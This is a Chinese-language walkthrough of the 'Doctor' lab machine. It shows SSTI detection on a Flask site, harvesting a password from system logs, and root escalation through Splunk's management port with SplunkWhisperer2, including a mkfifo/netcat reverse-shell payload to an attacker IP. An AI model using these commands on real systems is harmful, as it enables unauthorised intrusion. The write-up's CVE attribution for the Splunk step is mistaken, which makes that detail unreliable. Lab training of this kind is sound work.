[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升
字数 1193 2025-08-19 12:40:31
Doctor靶机渗透测试报告:SSTI与Splunk权限提升
1. 信息收集阶段
1.1 端口扫描
使用Nmap进行扫描发现以下开放端口:
- 22/tcp:OpenSSH 8.2p1 (Ubuntu Linux)
- 80/tcp:Apache httpd 2.4.41 (Ubuntu)
- 8089/tcp:Splunkd httpd (SSL证书显示为SplunkServerDefaultCert)
1.2 Web服务枚举
- 添加hosts记录:
echo '10.10.10.209 doctors.htb'>>/etc/hosts - 使用whatweb识别网站技术:
whatweb http://doctors.htb/login -v - 发现以下关键端点:
/login/register/post/new/archive
2. SSTI漏洞利用
2.1 漏洞发现
在/archive端点测试模板注入:
- 输入
${7*7}无反应 - 输入
{{8*8}}返回64,确认存在服务器端模板注入(SSTI)漏洞 - 输入
{{9*'9'}}返回81,进一步确认
2.2 利用方法
- 通过SSTI漏洞可以执行任意Python代码
- 构造恶意payload获取反向shell或读取敏感文件
3. 用户权限获取
3.1 密码发现
在系统日志中搜索密码:
grep -R -e 'password' /var/log/ 2>/dev/null
发现凭据:
- 用户名:shaun
- 密码:Guitar123
3.2 用户登录
使用发现的凭据切换用户:
su shaun
成功获取用户权限,找到user flag:
89d2e206dac3a780e4859ba394f419b5
4. 权限提升:Splunk漏洞利用
4.1 Splunk服务发现
检查运行的Splunk服务:
ps -aux | grep splunk
4.2 利用SplunkWhisperer2工具
- 克隆利用工具:
git clone https://github.com/cnotin/SplunkWhisperer2
cd SplunkWhisperer2/PySplunkWhisperer2
- 测试漏洞:
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.2 --payload id
- 使用已获取的凭据执行命令:
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.16.6 --username shaun --password Guitar123 --payload id
- 获取反向shell:
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.16.6 --username shaun --password Guitar123 --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 10033 >/tmp/f'
4.3 获取root权限
成功获取root shell后,找到root flag:
2f93ef26f3fd15a56c09311850459979
5. 关键知识点总结
-
SSTI漏洞检测:
- 使用
{{7*7}}等表达式测试模板注入 - 确认漏洞后构造恶意payload执行系统命令
- 使用
-
日志文件检查:
/var/log/目录常包含敏感信息- 使用grep搜索密码等关键词
-
Splunk权限提升:
- Splunk默认运行在8089端口
- SplunkWhisperer2工具可滥用Splunk的脚本功能执行系统命令
- 需要有效凭据才能利用(CVE-2019-11581)
-
反向shell构造:
- 使用mkfifo创建命名管道
- 结合netcat建立反向连接
6. 防御建议
-
针对SSTI:
- 对用户输入进行严格过滤
- 使用安全的模板引擎配置
-
针对Splunk:
- 及时更新Splunk到最新版本
- 限制Splunk服务的网络访问
- 实施严格的权限控制
-
通用安全措施:
- 避免在日志中记录敏感信息
- 实施最小权限原则
- 定期进行安全审计和渗透测试